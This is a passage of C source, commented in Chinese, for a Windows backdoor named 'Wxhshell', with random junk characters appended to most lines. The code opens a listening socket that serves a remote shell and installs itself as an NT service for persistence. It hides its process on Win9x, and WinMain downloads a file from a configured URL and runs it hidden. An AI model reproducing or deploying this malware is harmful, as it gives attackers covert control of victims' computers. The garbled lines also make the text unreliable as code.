DWORD AffinityMask; Ovj^
7r:<s
DWORD BasePriority; /DyeMCY-
ULONG UniqueProcessId; %G,7Ul1f
ULONG InheritedFromUniqueProcessId; ]];pWlo!
} PROCESS_BASIC_INFORMATION; JC->
eY"O2
h(~/JW[
PROCNTQSIP NtQueryInformationProcess; QRrAyRf[
s^IC]sW\%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4b;*:C4?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }o7- 3!{L!
Hm!"%
HANDLE hProcess; Y<(7u`F
PROCESS_BASIC_INFORMATION pbi; 1cMLl6Bp>
S9
$t9o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :A!EjIL`#
if(NULL == hInst ) return 0; 0*tnJB
pU<J?cU8N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xgj'um
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b?Uk%Z]+v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $BgaLJs/O
=q)+_@24>d
if (!NtQueryInformationProcess) return 0; aG~zMO_)]
;S$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3`vKEThY)
if(!hProcess) return 0; dY0W=,X$7T
&qSf
~7/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LVm']_K(f
((#BU=0iK
CloseHandle(hProcess); }` H{;A
h
~"vS$>+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IAMa
if(hProcess==NULL) return 0; mLkp*?sfC
zjcSn7iu
HMODULE hMod; J%xUO1
char procName[255]; IBeorDIZ
unsigned long cbNeeded; qNHI$r'
t\
z@k9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l59
N0G
mbX'*up
CloseHandle(hProcess); 60nP'xfR
Bsg^[~jWJu
if(strstr(procName,"services")) return 1; // 以服务启动 ^'tT_
gT
qrj f
return 0; // 注册表启动 :k`Qj(7S
} N#RC;
4I2:"CK06
// 主模块 8jL^q;R_(
int StartWxhshell(LPSTR lpCmdLine) ;/wH/!b
{ *,:2O&P
SOCKET wsl; 1BW 9,Xr
BOOL val=TRUE; ^q/$a2<4
int port=0; B=%%3V)2
struct sockaddr_in door; 6bjZW ~
LH+Bu%s
if(wscfg.ws_autoins) Install(); ia;osqW
6)Za K
port=atoi(lpCmdLine); :BV $3]y
4
$Kzh
if(port<=0) port=wscfg.ws_port; .{?;#Cdn
|Rx+2`6Dp
WSADATA data; _yH">x<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `W_&^>yl
j1->w8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "+qZv(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K8-1?-W
door.sin_family = AF_INET; ZBx,'ph}4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); '~f*O0_
door.sin_port = htons(port); xW9R-J\W
83_mR*tGNp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QQ{*j7i)
closesocket(wsl); VSCKWYy
return 1; v^Fu/Y
} >c
Tt2v
+lFBH(o]X
if(listen(wsl,2) == INVALID_SOCKET) { ;g+fY6
closesocket(wsl); 5eFtcK
return 1; f>cUdEPBb
} &YD+s%OL
Wxhshell(wsl); ;O~FiA~`c
WSACleanup(); >0 o[@gJl
5%V(eR
return 0; c w)J+Lyh
FqnD"]A
} + `'wY?
`}uM91;
// 以NT服务方式启动 .`J*l=u$
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [h' 22W
{ iK1{SgXrFI
DWORD status = 0; YKayaI\*
DWORD specificError = 0xfffffff; ~p{YuW[e
Xm(#O1Vm(l
serviceStatus.dwServiceType = SERVICE_WIN32; ?aBAmyxm
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]w]BKpU=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rP"Y.;s
serviceStatus.dwWin32ExitCode = 0; Nknd8 >Hy+
serviceStatus.dwServiceSpecificExitCode = 0; |t3}>+"?z
serviceStatus.dwCheckPoint = 0; jY/(kA]}
serviceStatus.dwWaitHint = 0; i88`W&tI{
;"9Ks.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l9+CJAmq
if (hServiceStatusHandle==0) return; F8tMZ,:
3|G~_'`RLt
status = GetLastError(); .9g :-hv
if (status!=NO_ERROR) /J!hKK^k
{ )G]J@36
serviceStatus.dwCurrentState = SERVICE_STOPPED; =*+f2
serviceStatus.dwCheckPoint = 0; AOL=;z9c#
serviceStatus.dwWaitHint = 0; D0S^Msk9L
serviceStatus.dwWin32ExitCode = status; oHSDi
serviceStatus.dwServiceSpecificExitCode = specificError; 3w[uc ~f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rXTdhw?+
return; v!<FeLW
} $SFreyI;Uf
F60m]NUM)c
serviceStatus.dwCurrentState = SERVICE_RUNNING; qf[J-"o
serviceStatus.dwCheckPoint = 0; L-q)48+^k
serviceStatus.dwWaitHint = 0; {ynI]Wj`L
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?G&J_L=@Y
} !@ AnwV]
`r\/5|M
// 处理NT服务事件,比如:启动、停止 Z%3)w.
VOID WINAPI NTServiceHandler(DWORD fdwControl) _qt
{ LT,zk)5
switch(fdwControl) wn<k"6x
{ ^QHgc_oDm
case SERVICE_CONTROL_STOP: S!JLy&@
serviceStatus.dwWin32ExitCode = 0; +f_3JL$
serviceStatus.dwCurrentState = SERVICE_STOPPED; V{qR/
serviceStatus.dwCheckPoint = 0; $\20Vgu<
serviceStatus.dwWaitHint = 0; !@+4&B=
{ ~_-+Q=3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {K/xI
} ;'<SsI
return; "oR%0pU*
case SERVICE_CONTROL_PAUSE: 4Xv."L
serviceStatus.dwCurrentState = SERVICE_PAUSED; d,j)JnY3V
break; nnd-d+$
case SERVICE_CONTROL_CONTINUE: $V_w4!:Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; $B%3#-
break; %]F{aR
case SERVICE_CONTROL_INTERROGATE: /KO2y0`
break; ?i~mt'O
}; v:9Vp{)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "!Hm.^1
} Nlm3RxSn
JVPLE*T
// 标准应用程序主函数 7#26Smv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6WLq>Jo
{ dFnu&u"
*}ZKQ
// 获取操作系统版本 f+QDjJ?z
OsIsNt=GetOsVer(); !T]bz+
GetModuleFileName(NULL,ExeFile,MAX_PATH); C7
9~@%T
DpL|aRdbK
// 从命令行安装 p;2NO&
if(strpbrk(lpCmdLine,"iI")) Install(); Reg%ah|$/=
`hU2Ss~
// 下载执行文件 QUc&f+~
if(wscfg.ws_downexe) { z'Fu} ho
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rPJbbV",+^
WinExec(wscfg.ws_filenam,SW_HIDE); 5jc y*G}[
} ~NwX,-ri
%h=cwT6
if(!OsIsNt) { &[-b#&y
// 如果时win9x,隐藏进程并且设置为注册表启动 'c/Z
W
HideProc(); E&b!Y'
StartWxhshell(lpCmdLine); (V8lmp-F
} SRyot:l
else ]y/!GFQ
if(StartFromService()) {UOR_Vt!*
// 以服务方式启动 =>)4>WT8A
StartServiceCtrlDispatcher(DispatchTable); }& e#b]&:*
else (d=knoo7A
// 普通方式启动 1Qo2Z;h@
StartWxhshell(lpCmdLine); /A%31WE&1
/q6
^.>b
return 0; 0BHSeO,
}